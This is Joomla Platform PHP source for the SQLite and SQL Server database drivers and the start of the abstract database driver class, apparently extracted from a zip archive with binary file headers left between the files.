* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info(' . $table .
')');
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->NAME] = $field->TYPE;
}
}
else
{
foreach ($fields as $field)
{
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$columns[$field->NAME] = (object) array(
'Field' => $field->NAME,
'Type' => $field->TYPE,
'Null' => ($field->NOTNULL == '1' ?
'NO' : 'YES'),
'Default' => $field->DFLT_VALUE,
'Key' => ($field->PK != '0' ?
'PRI' : ''),
);
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$keys = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->setQuery('pragma table_info( ' . $table .
')');
// $query->bind(':tableName', $table);
$this->setQuery($query);
$rows = $this->loadObjectList();
foreach ($rows as $column)
{
if ($column->PK == 1)
{
$keys[$column->NAME] = $column;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$type = 'table';
$query = $this->getQuery(true)
->select('name')
->from('sqlite_master')
->where('type = :type')
->bind(':type', $type)
->order('name');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$this->setQuery('SELECT sqlite_version()');
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
$this->connect();
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($table)
{
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Sqlite.
* @param string $prefix Not used by Sqlite.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME
TO ' . $newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return class_exists('PDO') &&
in_array('sqlite', PDO::getAvailableDrivers());
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionCommit($toSavepoint);
}
else
{
$this->transactionDepth--;
}
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
parent::transactionRollback($toSavepoint);
}
else
{
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.1.4
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
parent::transactionStart($asSavepoint);
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
PKHn�[�)�$l$ldatabase/driver/sqlsrv.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL Server database driver
*
* @link https://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx
* @since 3.0.0
*/
class JDatabaseDriverSqlsrv extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlsrv';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mssql';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '[]';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.0
*/
protected $nullDate = '1900-01-01 00:00:00';
/**
* @var string The minimum supported database version.
* @since 3.0.0
*/
protected static $dbMinimum = '10.50.1600.1';
/**
* Test to see if the SQLSRV connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('sqlsrv_connect');
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
// Build the connection configuration array.
$config = array(
'Database' => $this->options['database'],
'uid' => $this->options['user'],
'pwd' => $this->options['password'],
'CharacterSet' => 'UTF-8',
'ReturnDatesAsStrings' => true,
);
// Make sure the SQLSRV extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The sqlsrv extension for
PHP is not installed or enabled..');
}
// Attempt to connect to the server.
if (!($this->connection = @
sqlsrv_connect($this->options['host'], $config)))
{
throw new JDatabaseExceptionConnecting('Database sqlsrv_connect
failed, ' . print_r(sqlsrv_errors(), true));
}
// Make sure that DB warnings are not returned as errors.
sqlsrv_configure('WarningsReturnAsErrors', 0);
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Set charactersets.
$this->utf = $this->setUtf();
// Set QUOTED_IDENTIFIER always ON
sqlsrv_query($this->connection, 'SET QUOTED_IDENTIFIER ON');
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if (is_resource($this->connection))
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
sqlsrv_close($this->connection);
}
$this->connection = null;
}
/**
* Get table constraints
*
* @param string $tableName The name of the database table.
*
* @return array Any constraints available for the table.
*
* @since 3.0.0
*/
protected function getTableConstraints($tableName)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery(
'SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS
WHERE TABLE_NAME = ' . $query->quote($tableName)
);
return $this->loadColumn();
}
/**
* Rename constraints.
*
* @param array $constraints Array(strings) of table constraints
* @param string $prefix A string
* @param string $backup A string
*
* @return void
*
* @since 3.0.0
*/
protected function renameConstraints($constraints = array(), $prefix =
null, $backup = null)
{
$this->connect();
foreach ($constraints as $constraint)
{
$this->setQuery('sp_rename ' . $constraint . ','
. str_replace($prefix, $backup, $constraint));
$this->execute();
}
}
/**
* Method to escape a string for usage in an SQL statement.
*
* The escaping for MSSQL isn't handled in the driver though that
would be nice. Because of this we need
* to handle the escaping ourselves.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$result = str_replace("'", "''",
$text);
// SQL Server does not accept NULL byte in query string
$result = str_replace("\0", "' + CHAR(0) +
N'", $result);
// Fix for SQL Server escape sequence, see
https://support.microsoft.com/en-us/kb/164291
$result = str_replace(
array("\\\n", "\\\r",
"\\\\\r\r\n"),
array("\\\\\n\n", "\\\\\r\r",
"\\\\\r\n\r\n"),
$result
);
if ($extra)
{
// Escape special chars
$result = str_replace(
array('[', '_', '%'),
array('[[]', '[_]', '[%]'),
$result
);
}
return $result;
}
/**
* Quotes and optionally escapes a string to database requirements for use
in database queries.
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True (default) to escape the string, false
to leave it unchanged.
*
* @return string The quoted input string.
*
* @note Accepting an array of strings was added in 3.1.4.
* @since 1.7.0
*/
public function quote($text, $escape = true)
{
if (is_array($text))
{
return parent::quote($text, $escape);
}
// To support unicode on MSSQL we have to add prefix N
return 'N\'' . ($escape ? $this->escape($text) : $text)
. '\'';
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
// ODBC syntax for hexadecimal literals
return '0x' . bin2hex($data);
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
// TODO: Run a blank query here
return true;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
if ($ifExists)
{
$this->setQuery(
'IF EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME = ' . $query->quote($tableName) . ') DROP TABLE
' . $tableName
);
}
else
{
$this->setQuery('DROP TABLE ' . $tableName);
}
$this->execute();
return $this;
}
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return sqlsrv_rows_affected($this->cursor);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
// TODO: Not fake this
return 'MSSQL UTF-8 (UCS2)';
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
$this->connect();
return sqlsrv_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Retrieves field information about the given tables.
*
* @param mixed $table A table name
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$result = array();
$table_temp = $this->replacePrefix((string) $table);
// Set the query to get the table fields statement.
$this->setQuery(
'SELECT column_name as Field, data_type as Type, is_nullable as
\'Null\', column_default as \'Default\'' .
' FROM information_schema.columns WHERE table_name = ' .
$this->quote($table_temp)
);
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$field->Default =
preg_replace("/(^(\(\(|\('|\(N'|\()|(('\)|(?<!\()\)\)|\))$))/i",
'', $field->Default);
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by MSSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
return '';
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// TODO To implement.
return array();
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SELECT name FROM ' .
$this->getDatabase() . '.sys.Tables WHERE type =
\'U\';');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$version = sqlsrv_server_info($this->connection);
return $version['SQLServerVersion'];
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
$statement = 'INSERT INTO ' . $this->quoteName($table) .
' (%s) VALUES (%s)';
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
if (!$this->checkFieldExists($table, $k))
{
continue;
}
if ($k[0] == '_')
{
// Internal field
continue;
}
if ($k == $key && $key == 0)
{
continue;
}
$fields[] = $this->quoteName($k);
$values[] = $this->Quote($v);
}
// Set the query and execute the insert.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(',', $values)));
if (!$this->execute())
{
return false;
}
$id = $this->insertid();
if ($key && $id)
{
$object->$key = $id;
}
return true;
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
// TODO: SELECT IDENTITY
$this->setQuery('SELECT @@IDENTITY');
return (int) $this->loadResult();
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
* @throws Exception
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->limit($query, $this->limit, $this->offset);
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
}
// SQLSrv_num_rows requires a static or keyset cursor.
if (strncmp(ltrim(strtoupper($query)), 'SELECT',
strlen('SELECT')) == 0)
{
$array = array('Scrollable' => SQLSRV_CURSOR_KEYSET);
}
else
{
$array = array();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @sqlsrv_query($this->connection, $query, array(),
$array);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$query = trim($query);
if (strpos($query, "'"))
{
$parts = explode("'", $query);
for ($nIndex = 0, $size = count($parts); $nIndex < $size; $nIndex =
$nIndex + 2)
{
if (strpos($parts[$nIndex], $prefix) !== false)
{
$parts[$nIndex] = str_replace($prefix, $this->tablePrefix,
$parts[$nIndex]);
}
}
$query = implode("'", $parts);
}
else
{
$query = str_replace($prefix, $this->tablePrefix, $query);
}
return $query;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!sqlsrv_query($this->connection, 'USE ' . $database,
null, array('scrollable' => SQLSRV_CURSOR_STATIC)))
{
throw new JDatabaseExceptionConnecting('Could not connect to SQL
Server database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK TRANSACTION')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('BEGIN TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('BEGIN TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_NUMERIC);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_ASSOC);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
// Class has to be loaded for sqlsrv on windows platform
class_exists($class);
return sqlsrv_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
sqlsrv_free_stmt($cursor ? $cursor : $this->cursor);
}
/**
* Method to check and see if a field exists in a table.
*
* @param string $table The table in which to verify the field.
* @param string $field The field to verify.
*
* @return boolean True if the field exists in the table.
*
* @since 3.0.0
*/
protected function checkFieldExists($table, $field)
{
$this->connect();
$table = $this->replacePrefix((string) $table);
$query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = '$table' AND COLUMN_NAME = '$field' ORDER
BY ORDINAL_POSITION";
$this->setQuery($query);
if ($this->loadResult())
{
return true;
}
else
{
return false;
}
}
/**
* Method to wrap an SQL statement to provide a LIMIT and OFFSET behavior
for scrolling through a result set.
*
* @param string $query The SQL statement to process.
* @param integer $limit The maximum affected rows to set.
* @param integer $offset The affected row offset to set.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
protected function limit($query, $limit, $offset)
{
if ($limit)
{
$total = $offset + $limit;
$position = stripos($query, 'SELECT');
$distinct = stripos($query, 'SELECT DISTINCT');
if ($position === $distinct)
{
$query = substr_replace($query, 'SELECT DISTINCT TOP ' .
(int) $total, $position, 15);
}
else
{
$query = substr_replace($query, 'SELECT TOP ' . (int) $total,
$position, 6);
}
}
if (!$offset)
{
return $query;
}
return PHP_EOL
. 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0))
AS RowNumber FROM ('
. $query
. PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int)
$offset;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$constraints = array();
if (!is_null($prefix) && !is_null($backup))
{
$constraints = $this->getTableConstraints($oldTable);
}
if (!empty($constraints))
{
$this->renameConstraints($constraints, $prefix, $backup);
}
$this->setQuery("sp_rename '" . $oldTable .
"', '" . $newTable . "'");
return $this->execute();
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to lock.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($tableName)
{
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
$errors = sqlsrv_errors();
return $errors[0]['code'];
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errors = sqlsrv_errors();
$errorMessage = (string) $errors[0]['message'];
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
}
PKHn�[��UD�D�database/driver.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Driver Class
*
* @since 3.0.0
*
* @method string|array q() q($text, $escape = true) Alias for quote
method
* @method string|array qn() qn($name, $as = null) Alias for
quoteName method
*/
abstract class JDatabaseDriver extends JDatabase implements
JDatabaseInterface
{
/**
* The name of the database.
*
* @var string
* @since 2.5.0
*/
private $_database;
/**
* The name of the database driver.
*
* @var string
* @since 1.7.0
*/
public $name;
/**
* The type of the database server family supported by this driver.
Examples: mysql, oracle, postgresql, mssql,
* sqlite.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType;
/**
* @var resource The database connection resource.
* @since 1.7.0
*/
protected $connection;
/**
* @var integer The number of SQL statements executed by the database
driver.
* @since 1.7.0
*/
protected $count = 0;
/**
* @var resource The database connection cursor from the last query.
* @since 1.7.0
*/
protected $cursor;
/**
* @var boolean The database driver debugging state.
* @since 1.7.0
*/
protected $debug = false;
/**
* @var integer The affected row limit for the current SQL statement.
* @since 1.7.0
*/
protected $limit = 0;
/**
* @var array The log of executed SQL statements by the database
driver.
* @since 1.7.0
*/
protected $log = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $timings = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $callStacks = array();
/**
* @var string The character(s) used to quote SQL statement names such
as table names or field names,
* etc. The child classes should define this as
necessary. If a single character string the
* same character is used for both sides of the quoted
name, else the first character will be
* used for the opening quote and the second for the
closing quote.
* @since 1.7.0
*/
protected $nameQuote;
/**
* @var string The null or zero representation of a timestamp for the
database driver. This should be
* defined in child classes to hold the appropriate value
for the engine.
* @since 1.7.0
*/
protected $nullDate;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 1.7.0
*/
protected $offset = 0;
/**
* @var array Passed in upon instantiation and saved.
* @since 1.7.0
*/
protected $options;
/**
* @var JDatabaseQuery|string The current SQL statement to execute.
* @since 1.7.0
*/
protected $sql;
/**
* @var string The common database table prefix.
* @since 1.7.0
*/
protected $tablePrefix;
/**
* @var boolean True if the database engine supports UTF-8 character
encoding.
* @since 1.7.0
*/
protected $utf = true;
/**
* @var boolean True if the database engine supports UTF-8 Multibyte
(utf8mb4) character encoding.
* @since CMS 3.5.0
*/
protected $utf8mb4 = false;
/**
* @var integer The database error number
* @since 1.7.0
* @deprecated 3.0.0
*/
protected $errorNum = 0;
/**
* @var string The database error message
* @since 1.7.0
* @deprecated 3.0.0
*/
protected $errorMsg;
/**
* @var array JDatabaseDriver instances container.
* @since 1.7.0
*/
protected static $instances = array();
/**
* @var string The minimum supported database version.
* @since 3.0.0
*/
